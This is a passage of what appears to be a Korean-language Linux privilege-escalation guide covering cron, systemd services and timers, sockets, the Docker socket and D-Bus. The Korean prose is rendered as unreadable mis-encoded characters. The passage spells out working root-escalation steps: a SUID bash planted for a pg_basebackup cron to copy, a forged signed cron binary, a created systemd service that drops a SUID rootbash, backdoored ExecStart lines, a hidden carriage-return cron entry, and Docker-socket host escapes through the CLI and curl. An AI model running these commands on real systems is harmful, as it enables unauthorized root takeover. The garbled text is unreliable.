root์ ์ํด ์คํ๋๋ script๊ฐ directory where you have full access๋ฅผ ์ฌ์ฉํ๋ค๋ฉด, ๊ทธ folder๋ฅผ ์ญ์ ํ๊ณ ๋น์ ์ด ์ ์ดํ๋ script๋ฅผ ์ ๊ณตํ๋ ๋ค๋ฅธ ํด๋๋ก์ create a symlink folder to another one๋ฅผ ์์ฑํ๋ ๊ฒ์ด ์ ์ฉํ ์ ์์ต๋๋ค
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
์ฌ๋ณผ๋ฆญ ๋งํฌ ๊ฒ์ฆ ๋ฐ ์์ ํ ํ์ผ ์ฒ๋ฆฌ
๊ฒฝ๋ก๋ก ํ์ผ์ ์ฝ๊ฑฐ๋ ์ฐ๋ ๊ถํ ์๋ scripts/binaries๋ฅผ ๊ฒํ ํ ๋, ๋งํฌ๊ฐ ์ด๋ป๊ฒ ์ฒ๋ฆฌ๋๋์ง ํ์ธํ์ธ์:
stat()๋ symlink๋ฅผ ๋ฐ๋ผ๊ฐ ๋์์ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๋ฐํํฉ๋๋ค.lstat()๋ ๋งํฌ ์์ฒด์ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๋ฐํํฉ๋๋ค.readlink -f์namei -l์ ์ต์ข ๋์์ ํ์ธํ๊ณ ๊ฐ ๊ฒฝ๋ก ๊ตฌ์ฑ ์์์ ๊ถํ์ ๋ณด์ฌ์ค๋๋ค.
readlink -f /path/to/link
namei -l /path/to/link
์๋น์/๊ฐ๋ฐ์๋ฅผ ์ํด, symlink ํธ๋ฆญ์ ๋ํ ๋ ์์ ํ ํจํด์ ๋ค์์ ํฌํจํฉ๋๋ค:
O_EXCLwithO_CREAT: ๊ฒฝ๋ก๊ฐ ์ด๋ฏธ ์กด์ฌํ๋ฉด ์คํจ(๊ณต๊ฒฉ์๊ฐ ๋ฏธ๋ฆฌ ์์ฑํด ๋ ๋งํฌ/ํ์ผ์ ์ฐจ๋จ).openat(): ์ ๋ขฐํ ์ ์๋ ๋๋ ํฐ๋ฆฌ์ ํ์ผ ๋์คํฌ๋ฆฝํฐ๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ .mkstemp(): ๋ณด์ ๊ถํ์ผ๋ก ์์ ํ์ผ์ ์์์ ์ผ๋ก ์์ฑ.
Custom-signed cron binaries with writable payloads
Blue teams๋ ๋๋๋ก cron์ผ๋ก ๋์ํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ โsignโํ๊ธฐ ์ํด ์ปค์คํ
ELF ์น์
์ ๋คํํ๊ณ vendor ๋ฌธ์์ด์ grepํ ํ root๋ก ์คํํฉ๋๋ค. ํด๋น ๋ฐ์ด๋๋ฆฌ๊ฐ group-writable(์: /opt/AV/periodic-checks/monitor ์์ root:devs 770)์ด๊ณ signing material์ leakํ ์ ์๋ค๋ฉด, ์น์
์ ์์กฐํด cron ์์
์ ํ์ด์ฌํนํ ์ ์์ต๋๋ค:
pspy๋ฅผ ์ฌ์ฉํด ๊ฒ์ฆ ํ๋ฆ์ ์บก์ฒํ์ธ์. Era์์๋ root๊ฐobjcopy --dump-section .text_sig=text_sig_section.bin monitor๋ฅผ ์คํํ ๋ค์grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin์ ์ํํ๊ณ ํ์ผ์ ์คํํ์ต๋๋ค.- leaked key/config(from
signing.zip)๋ก ์์๋๋ ์ธ์ฆ์๋ฅผ ์ฌ์์ฑํฉ๋๋ค:
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- ์
์ฑ ๋์ฒด๋ฌผ(์: SUID bash ๋ฐฐํฌ, SSH ํค ์ถ๊ฐ)์ ๋น๋ํ๊ณ ์ธ์ฆ์๋ฅผ
.text_sig์ ์๋ฒ ๋ํ์ฌ grep์ด ํต๊ณผํ๋๋ก ํฉ๋๋ค:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- ์คํ ๋นํธ๋ฅผ ์ ์งํ ์ฑ ์์ ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฎ์ด์๋๋ค:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- ๋ค์ cron ์คํ์ ๊ธฐ๋ค๋ฆฌ์ธ์; ๋จ์ํ ์๋ช ๊ฒ์ฌ๊ฐ ํต๊ณผ๋๋ฉด ํ์ด๋ก๋๊ฐ root๋ก ์คํ๋ฉ๋๋ค.
Frequent cron jobs
ํ๋ก์ธ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ 1, 2 ๋๋ 5๋ถ๋ง๋ค ์คํ๋๋ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ์ด๋ฅผ ํ์ฉํด ๊ถํ ์์น์ ์๋ํ ์๋ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, 1๋ถ ๋์ 0.1์ด๋ง๋ค ๋ชจ๋ํฐ๋งํ๊ณ , ์คํ ํ์๊ฐ ์ ์ ๋ช ๋ น์ผ๋ก ์ ๋ ฌํ ๋ค ๊ฐ์ฅ ๋ง์ด ์คํ๋ ๋ช ๋ น์ ์ญ์ ํ๋ ค๋ฉด, ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
๋ค์ ๋๊ตฌ๋ ์ฌ์ฉํ ์ ์์ต๋๋ค pspy (์ด ๋๊ตฌ๋ ์์๋๋ ๋ชจ๋ ํ๋ก์ธ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ๊ณ ๋์ดํฉ๋๋ค).
๊ณต๊ฒฉ์๊ฐ ์ค์ ํ ๋ชจ๋ ๋นํธ๋ฅผ ๋ณด์กดํ๋ ๋ฃจํธ ๋ฐฑ์ (pg_basebackup)
If a root-owned cron wraps pg_basebackup (or any recursive copy) against a database directory you can write to, you can plant a SUID/SGID binary that will be recopied as root:root with the same mode bits into the backup output.
Typical discovery flow (as a low-priv DB user):
- Use
pspyto spot a root cron calling something like/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/every minute. - Confirm the source cluster (e.g.,
/var/lib/postgresql/14/main) is writable by you and the destination (/opt/backups/current) becomes owned by root after the job.
Exploit:
# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash
# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p # root shell without dropping privileges
์ด๋ pg_basebackup๊ฐ ํด๋ฌ์คํฐ๋ฅผ ๋ณต์ฌํ ๋ ํ์ผ ๋ชจ๋ ๋นํธ๋ฅผ ๋ณด์กดํ๊ธฐ ๋๋ฌธ์ ์๋ํ๋ค; root๋ก ํธ์ถ๋๋ฉด ๋์ ํ์ผ๋ค์ root ์์ ๊ถ + ๊ณต๊ฒฉ์๊ฐ ์ ํํ SUID/SGID๋ฅผ ์์ํ๋ค. ๊ถํ์ ์ ์งํ๊ณ ์คํ ๊ฐ๋ฅํ ์์น์ ์ฐ๋ ์ ์ฌํ ๊ถํ ์๋ ๋ฐฑ์
/๋ณต์ฌ ๋ฃจํด๋ ์ทจ์ฝํ๋ค.
๋ณด์ด์ง ์๋ cron jobs
์ฃผ์ ๋ค์ carriage return์ ๋ฃ์ ์ํ(์ค๋ฐ๊ฟ ๋ฌธ์ ์์ด)๋ก cronjob์ ์์ฑํ ์ ์์ผ๋ฉฐ, ์ด cron job์ ๋์ํ๋ค. ์์ (์บ๋ฆฌ์ง ๋ฆฌํด ๋ฌธ์์ ์ฃผ์):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
์๋น์ค
์ฐ๊ธฐ ๊ฐ๋ฅํ .service ํ์ผ
.service ํ์ผ์ ์ธ ์ ์๋์ง ํ์ธํ์ธ์. ์ธ ์ ์๋ค๋ฉด ํด๋น ํ์ผ์ ์์ ํด์, ์๋น์ค๊ฐ ์์, ์ฌ์์ ๋๋ ์ค์ง๋ ๋ ๋ฐฑ๋์ด๋ฅผ ์คํํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค(๋จธ์ ์ ์ฌ๋ถํ
ํด์ผ ํ ์๋ ์์ต๋๋ค).
์๋ฅผ ๋ค์ด .service ํ์ผ ์์ ๋ฐฑ๋์ด๋ฅผ ์์ฑํ๊ณ **ExecStart=/tmp/script.sh**๋ก ์ค์ ํ์ธ์.
์ฐ๊ธฐ ๊ฐ๋ฅํ ์๋น์ค ๋ฐ์ด๋๋ฆฌ
๋ช ์ฌํ์ธ์: write permissions over binaries being executed by services๊ฐ ์๋ค๋ฉด, ํด๋น ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฐฑ๋์ด๋ก ๋ณ๊ฒฝํ ์ ์์ผ๋ฉฐ ์๋น์ค๊ฐ ๋ค์ ์คํ๋ ๋ ๋ฐฑ๋์ด๊ฐ ์คํ๋ฉ๋๋ค.
systemd PATH - ์๋ ๊ฒฝ๋ก
๋ค์ ๋ช ๋ น์ผ๋ก systemd๊ฐ ์ฌ์ฉํ๋ PATH๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
systemctl show-environment
๊ฒฝ๋ก์ ์ด๋ค ํด๋์๋ write ํ ์ ์๋ค๋ฉด escalate privileges ํ ์ ์์ต๋๋ค. ์๋น์ค ๊ตฌ์ฑ ํ์ผ์์ relative paths being used on service configurations ๊ฐ์ ํญ๋ชฉ์ ์ฐพ์์ผ ํฉ๋๋ค:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
๊ทธ๋ฐ ๋ค์, ์ธ ์ ์๋ systemd PATH ํด๋ ์์ ์๋ ๊ฒฝ๋ก ๋ฐ์ด๋๋ฆฌ์ ๊ฐ์ ์ด๋ฆ์ executable์ ์์ฑํ๋ฉด ์๋น์ค๊ฐ ์ทจ์ฝํ ๋์(Start, Stop, Reload)์ ์คํํ๋๋ก ์์ฒญ๋ ๋ ๋น์ ์ backdoor๊ฐ ์คํ๋ฉ๋๋ค(๋น๊ถํ ์ฌ์ฉ์๋ ์ผ๋ฐ์ ์ผ๋ก ์๋น์ค๋ฅผ ์์/์ค์งํ ์ ์์ง๋ง sudo -l์ ์ฌ์ฉํ ์ ์๋์ง ํ์ธํ์ธ์).
์๋น์ค์ ๋ํด ๋ ์๊ณ ์ถ์ผ๋ฉด man systemd.service๋ฅผ ์ฐธ๊ณ ํ์ธ์.
Timers
Timers๋ ์ด๋ฆ์ด **.timer**๋ก ๋๋๋ฉฐ **.service** ํ์ผ์ด๋ ์ด๋ฒคํธ๋ฅผ ์ ์ดํ๋ systemd ์ ๋ ํ์ผ์
๋๋ค. Timers๋ ์บ๋ฆฐ๋ ๊ธฐ๋ฐ ์๊ฐ ์ด๋ฒคํธ ๋ฐ ๋จ์กฐ(monotonic) ์๊ฐ ์ด๋ฒคํธ๋ฅผ ๊ธฐ๋ณธ์ ์ผ๋ก ์ง์ํ๊ณ ๋น๋๊ธฐ์ ์ผ๋ก ์คํํ ์ ์๊ธฐ ๋๋ฌธ์ cron์ ๋์์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
๋ค์ ๋ช ๋ น์ผ๋ก ๋ชจ๋ ํ์ด๋จธ๋ฅผ ์ด๊ฑฐํ ์ ์์ต๋๋ค:
systemctl list-timers --all
์ฐ๊ธฐ ๊ฐ๋ฅํ ํ์ด๋จธ
ํ์ด๋จธ๋ฅผ ์์ ํ ์ ์๋ค๋ฉด systemd.unit์ ์ผ๋ถ ์ ๋(์: .service ๋๋ .target)์ ์คํํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.
Unit=backdoor.service
ํ์ด๋จธ๊ฐ ๋ง๋ฃ๋ ๋ ํ์ฑํํ ์ ๋์ ๋๋ค. ์ธ์๋ ์ ๋ฏธ์ฌ๊ฐ โ.timerโ๊ฐ ์๋ ์ ๋ ์ด๋ฆ์ ๋๋ค. ์ง์ ํ์ง ์์ผ๋ฉด, ์ด ๊ฐ์ ํ์ด๋จธ ์ ๋๊ณผ ๋์ผํ ์ด๋ฆ(์ ๋ฏธ์ฌ๋ง ์ ์ธ)์ธ service๋ก ๊ธฐ๋ณธ ์ค์ ๋ฉ๋๋ค. (์ ์ฐธ์กฐ.) ํ์ฑํ๋๋ ์ ๋ ์ด๋ฆ๊ณผ ํ์ด๋จธ ์ ๋์ ์ด๋ฆ์ ์ ๋ฏธ์ฌ๋ง ์ ์ธํ๊ณ ๋์ผํ๊ฒ ์ง๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
๋ฐ๋ผ์ ์ด ๊ถํ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์์ ์ํํด์ผ ํฉ๋๋ค:
- ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ systemd ์ ๋(์:
.service)์ ์ฐพ๋๋ค - ์๋ ๊ฒฝ๋ก๋ฅผ ์คํํ๋ systemd ์ ๋์ ์ฐพ๊ณ , ํด๋น ์คํ ํ์ผ์ ์ฌ์นญํ๊ธฐ ์ํด systemd PATH์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ ๊ฐ์ง๋ค
man systemd.timer๋ก ํ์ด๋จธ์ ๋ํด ๋ ์์๋ณด์ธ์.
ํ์ด๋จธ ํ์ฑํ
ํ์ด๋จธ๋ฅผ ํ์ฑํํ๋ ค๋ฉด root ๊ถํ์ด ํ์ํ๋ฉฐ ๋ค์์ ์คํํด์ผ ํฉ๋๋ค:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer โ /lib/systemd/system/backu2.timer.
์ฐธ๊ณ : timer๋ /etc/systemd/system/<WantedBy_section>.wants/<name>.timer์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์์ฑํ์ฌ ํ์ฑํ๋ฉ๋๋ค
์์ผ
Unix Domain Sockets (UDS)๋ ํด๋ผ์ด์ธํธ-์๋ฒ ๋ชจ๋ธ์์ ๋์ผํ๊ฑฐ๋ ๋ค๋ฅธ ๋จธ์ ๊ฐ์ ํ๋ก์ธ์ค ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด๋ค์ ํ์ค Unix ๋์คํฌ๋ฆฝํฐ ํ์ผ์ ์ฌ์ฉํ์ฌ ์ปดํจํฐ ๊ฐ ํต์ ์ ์ํํ๋ฉฐ .socket ํ์ผ์ ํตํด ์ค์ ๋ฉ๋๋ค.
์์ผ์ .socket ํ์ผ์ ์ฌ์ฉํด ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
man systemd.socket์ผ๋ก ์์ผ์ ๋ํด ๋ ์์๋ณด์ธ์. ์ด ํ์ผ ์์์๋ ์ฌ๋ฌ ํฅ๋ฏธ๋ก์ด ๋งค๊ฐ๋ณ์๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: ์ด ์ต์ ๋ค์ ์๋ก ๋ค๋ฅด์ง๋ง ์์ฝํ๋ฉด ์์ผ์ด ์ด๋์์ ์์ (listen)ํ ์ง๋ฅผ ์ง์ ํฉ๋๋ค(AF_UNIX ์์ผ ํ์ผ์ ๊ฒฝ๋ก, ์์ ํ IPv4/6 ๋ฐ/๋๋ ํฌํธ ๋ฒํธ ๋ฑ).Accept: boolean ์ธ์๋ฅผ ๋ฐ์ต๋๋ค. ๋ง์ฝ true๋ฉด, ๊ฐ ๋ค์ด์ค๋ ์ฐ๊ฒฐ๋ง๋ค ์๋น์ค ์ธ์คํด์ค๊ฐ ์์ฑ๋๋ฉฐ ์ฐ๊ฒฐ ์์ผ๋ง ํด๋น ์ธ์คํด์ค์ ์ ๋ฌ๋ฉ๋๋ค. ๋ง์ฝ false๋ฉด, ๋ชจ๋ ๋ฆฌ์ค๋ ์์ผ ์์ฒด๊ฐ ์์๋ service unit์ ์ ๋ฌ๋๋ฉฐ ๋ชจ๋ ์ฐ๊ฒฐ์ ๋ํด ๋จ ํ๋์ service unit๋ง ์์ฑ๋ฉ๋๋ค. ์ด ๊ฐ์ ๋จ์ผ service unit์ด ๋ชจ๋ ๋ค์ด์ค๋ ํธ๋ํฝ์ ์ฒ๋ฆฌํ๋ datagram ์์ผ๊ณผ FIFO์์๋ ๋ฌด์๋ฉ๋๋ค. ๊ธฐ๋ณธ๊ฐ์ false์ ๋๋ค. ์ฑ๋ฅ์์ ์ด์ ๋ก, ์๋ก์ด ๋ฐ๋ชฌ์Accept=no์ ์ ํฉํ ๋ฐฉ์์ผ๋ก๋ง ์์ฑํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.ExecStartPre,ExecStartPost: ํ๋ ์ด์์ ๋ช ๋ น ์ค์ ๋ฐ์ผ๋ฉฐ, ์ด๋ ๊ฐ๊ฐ ๋ฆฌ์ค๋ ์์ผ/FIFO๊ฐ ์์ฑ๋๊ณ ๋ฐ์ธ๋ฉ๋๊ธฐ ์ ๋๋ ํ์ ์คํ๋ฉ๋๋ค. ๋ช ๋ น ์ค์ ์ฒซ ํ ํฐ์ ์ ๋ ๊ฒฝ๋ก๋ช ์ด์ด์ผ ํ๋ฉฐ, ๊ทธ ๋ค๋ก ํ๋ก์ธ์ค์ ์ ๋ฌํ ์ธ์๊ฐ ์ต๋๋ค.ExecStopPre,ExecStopPost: ๋ฆฌ์ค๋ ์์ผ/FIFO๊ฐ ๊ฐ๊ฐ ๋ซํ๊ณ ์ ๊ฑฐ๋๊ธฐ ์ ๋๋ ํ์ ์คํ๋๋ ์ถ๊ฐ ๋ช ๋ น๋ค์ ๋๋ค.Service: ๋ค์ด์ค๋ ํธ๋ํฝ์ ๋ํด ํ์ฑํํ service ๋จ์์ ์ด๋ฆ์ ์ง์ ํฉ๋๋ค. ์ด ์ค์ ์ Accept=no์ธ ์์ผ์์๋ง ํ์ฉ๋ฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์์ผ๊ณผ ๋์ผํ ์ด๋ฆ์ ๊ฐ์ง service(์ ๋ฏธ์ฌ๊ฐ ๋์ฒด๋)๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋๋ถ๋ถ์ ๊ฒฝ์ฐ ์ด ์ต์ ์ ์ฌ์ฉํ ํ์๋ ์์ต๋๋ค.
์ฐ๊ธฐ ๊ฐ๋ฅํ .socket ํ์ผ
์ฐ๊ธฐ ๊ฐ๋ฅํ .socket ํ์ผ์ ์ฐพ์ ๊ฒฝ์ฐ [Socket] ์น์
์ ๋งจ ์์ ExecStartPre=/home/kali/sys/backdoor ๊ฐ์ ํญ๋ชฉ์ ์ถ๊ฐํ ์ ์์ผ๋ฉฐ, ๊ทธ๋ฌ๋ฉด ์์ผ์ด ์์ฑ๋๊ธฐ ์ ์ ๋ฐฑ๋์ด๊ฐ ์คํ๋ฉ๋๋ค. ๋ฐ๋ผ์ ๋๋ถ๋ถ์ ๊ฒฝ์ฐ ๋จธ์ ์ ์ฌ๋ถํ
ํ ๋๊น์ง ๊ธฐ๋ค๋ ค์ผ ํ ๊ฒ์
๋๋ค.
NOTE: ํด๋น ์์คํ
์ด ๊ทธ ์์ผ ํ์ผ ๊ตฌ์ฑ์ ์ฌ์ฉํ๊ณ ์์ด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด ๋ฐฑ๋์ด๋ ์คํ๋์ง ์์ต๋๋ค
Socket activation + writable unit path (create missing service)
๋ ๋ค๋ฅธ ์ฌ๊ฐํ ์ค์ฉ ๊ตฌ์ฑ์:
Accept=no๋ฐService=<name>.service์ค์ ์ ๊ฐ์ง ์์ผ ์ ๋- ์ฐธ์กฐ๋ service ์ ๋์ด ์กด์ฌํ์ง ์์
- ๊ณต๊ฒฉ์๊ฐ
/etc/systemd/system(๋๋ ๋ค๋ฅธ ์ ๋ ๊ฒ์ ๊ฒฝ๋ก)์ ์ธ ์ ์์
์ด ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๋ <name>.service๋ฅผ ์์ฑํ ๋ค์ ์์ผ์ ํธ๋ํฝ์ ๋ฐ์์์ผ systemd๊ฐ ์๋ก์ด ์๋น์ค๋ฅผ ๋ก๋ํ๊ณ root๋ก ์คํํ๊ฒ ํ ์ ์์ต๋๋ค.
๋น ๋ฅธ ํ๋ฆ:
systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p
์ฐ๊ธฐ ๊ฐ๋ฅํ sockets
๋ง์ฝ ์ฐ๊ธฐ ๊ฐ๋ฅํ socket์ ์๋ณํ๋ค๋ฉด (์ง๊ธ์ Unix Sockets์ ๋ํด ๋งํ๋ ๊ฒ์ด๋ฉฐ ์ค์ .socket ํ์ผ์ ๊ดํ ๊ฒ์ด ์๋๋ค), ํด๋น socket๊ณผ ํต์ ํ ์ ์๊ณ ์ทจ์ฝ์ ์ ์
์ฉํ ์๋ ์๋ค.
Unix Sockets ์ด๊ฑฐ
netstat -a -p --unix
์์ ์ฐ๊ฒฐ
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exploitation example:
HTTP sockets
์ผ๋ถ sockets listening for HTTP ์์ฒญ์ด ์์ ์ ์์ต๋๋ค (๋๋ .socket files์ ๋ํด ๋งํ๋ ๊ฒ์ด ์๋๋ผ unix sockets๋ก ๋์ํ๋ ํ์ผ๋ค์ ๋ํด ๋งํ๋ ๊ฒ์ ๋๋ค). ๋ค์ ๋ช ๋ น์ผ๋ก ํ์ธํ ์ ์์ต๋๋ค:
curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/
๋ง์ฝ ์์ผ์ด HTTP ์์ฒญ์ผ๋ก ์๋ตํ๋ค๋ฉด, ํด๋น ์์ผ๊ณผ ํต์ ํ ์ ์์ผ๋ฉฐ ์ทจ์ฝ์ ์ ์ ์ฉํ ์๋ ์์ต๋๋ค.
์ฐ๊ธฐ ๊ฐ๋ฅํ Docker Socket
The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. By default, itโs writable by the root user and members of the docker group. Possessing write access to this socket can lead to privilege escalation. Hereโs a breakdown of how this can be done and alternative methods if the Docker CLI isnโt available.
Privilege Escalation with Docker CLI
If you have write access to the Docker socket, you can escalate privileges using the following commands:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
์ด ๋ช ๋ น๋ค์ ํธ์คํธ์ ํ์ผ ์์คํ ์ ๋ํ ๋ฃจํธ ๊ถํ์ผ๋ก ์ปจํ ์ด๋๋ฅผ ์คํํ ์ ์๊ฒ ํด์ค๋๋ค.
Docker API ์ง์ ์ฌ์ฉ
Docker CLI๋ฅผ ์ฌ์ฉํ ์ ์๋ ๊ฒฝ์ฐ์๋ Docker socket์ Docker API์ curl ๋ช
๋ น์ผ๋ก ์กฐ์ํ ์ ์์ต๋๋ค.
- List Docker Images: ์ฌ์ฉ ๊ฐ๋ฅํ ์ด๋ฏธ์ง ๋ชฉ๋ก์ ๊ฐ์ ธ์ต๋๋ค.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: ํธ์คํธ ์์คํ ์ ๋ฃจํธ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ง์ดํธํ๋ ์ปจํ ์ด๋๋ฅผ ์์ฑํ๊ธฐ ์ํ ์์ฒญ์ ๋ณด๋ ๋๋ค.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
์์ฑํ ์ปจํ ์ด๋ ์์:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container:
socat๋ฅผ ์ฌ์ฉํด ์ปจํ ์ด๋์ ์ฐ๊ฒฐ์ ์ค์ ํ๊ณ ๊ทธ ์์์ ๋ช ๋ น์ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
socat ์ฐ๊ฒฐ์ ์ค์ ํ ํ์๋ ์ปจํ
์ด๋ ๋ด์์ ํธ์คํธ ํ์ผ์์คํ
์ ๋ํ ๋ฃจํธ ๊ถํ์ผ๋ก ์ง์ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
Others
docker ์์ผ์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ด ์๋ค๋ฉด, ์ฆ group docker์ ์ํด ์๋ค๋ฉด ๋ ๋ง์ ๊ถํ ์์น ๋ฐฉ๋ฒ์ ์ฌ์ฉํ ์ ์๋ค๋ ์ ์ ์ฃผ์ํ์ธ์. ๋ง์ฝ docker API๊ฐ ํฌํธ์์ ๋ฆฌ์ค๋ ์ค์ด๋ผ๋ฉด ๋น์ ๋ ์ด๋ฅผ ์นจํดํ ์ ์์ต๋๋ค.
docker์์ ๋ฒ์ด๋๊ฑฐ๋ ์ด๋ฅผ ์ ์ฉํด ๊ถํ์ ์์น์ํค๋ ๋ ๋ง์ ๋ฐฉ๋ฒ๋ค์ ๋ค์์ ํ์ธํ์ธ์:
Containerd (ctr) ๊ถํ ์์น
๋ง์ฝ ctr ๋ช
๋ น์ ์ฌ์ฉํ ์ ์๋ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด๋ณด์ธ์ โ ์ด๋ฅผ ์
์ฉํด ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค:
Containerd (ctr) Privilege Escalation
RunC ๊ถํ ์์น
๋ง์ฝ runc ๋ช
๋ น์ ์ฌ์ฉํ ์ ์๋ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด๋ณด์ธ์ โ ์ด๋ฅผ ์
์ฉํด ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค:
D-Bus
D-Bus๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ํจ์จ์ ์ผ๋ก ์ํธ์์ฉํ๊ณ ๋ฐ์ดํฐ๋ฅผ ๊ณต์ ํ ์ ์๊ฒ ํ๋ ์ ๊ตํ ํ๋ก์ธ์ค ๊ฐ ํต์ (IPC) ์์คํ ์ ๋๋ค. ์ต์ Linux ์์คํ ์ ์ผ๋์ ๋๊ณ ์ค๊ณ๋์ด, ๋ค์ํ ํํ์ ์ ํ๋ฆฌ์ผ์ด์ ๊ฐ ํต์ ์ ์ํ ๊ฐ๋ ฅํ ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค.
์ด ์์คํ ์ ์ ์ฐํ์ฌ ํ๋ก์ธ์ค ๊ฐ ๋ฐ์ดํฐ ๊ตํ์ ํฅ์์ํค๋ ๊ธฐ๋ณธ์ ์ธ IPC(๊ฐํ๋ UNIX ๋๋ฉ์ธ ์์ผ๊ณผ ์ ์ฌ)๋ฅผ ์ง์ํฉ๋๋ค. ๋ํ ์ด๋ฒคํธ๋ ์ ํธ๋ฅผ ๋ธ๋ก๋์บ์คํธํ๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ์ฌ ์์คํ ๊ตฌ์ฑ์์ ๊ฐ์ ์ํํ ํตํฉ์ ์ด์งํฉ๋๋ค. ์๋ฅผ ๋ค์ด, Bluetooth ๋ฐ๋ชฌ์ด ๊ฑธ๋ ค์ค๋ ํธ์ถ์ ๋ํ ์ ํธ๋ฅผ ๋ณด๋ด๋ฉด ์์ ํ๋ ์ด์ด๊ฐ ์์๊ฑฐ๋๋ ์์ผ๋ก ์ฌ์ฉ์ ๊ฒฝํ์ ํฅ์์ํฌ ์ ์์ต๋๋ค. ์ถ๊ฐ๋ก, D-Bus๋ ์๊ฒฉ ๊ฐ์ฒด ์์คํ ์ ์ง์ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ๊ฐ ์๋น์ค ์์ฒญ๊ณผ ๋ฉ์๋ ํธ์ถ์ ๋จ์ํํจ์ผ๋ก์จ ์ ํต์ ์ผ๋ก ๋ณต์กํ๋ ๊ณผ์ ์ ๊ฐ์ํํฉ๋๋ค.
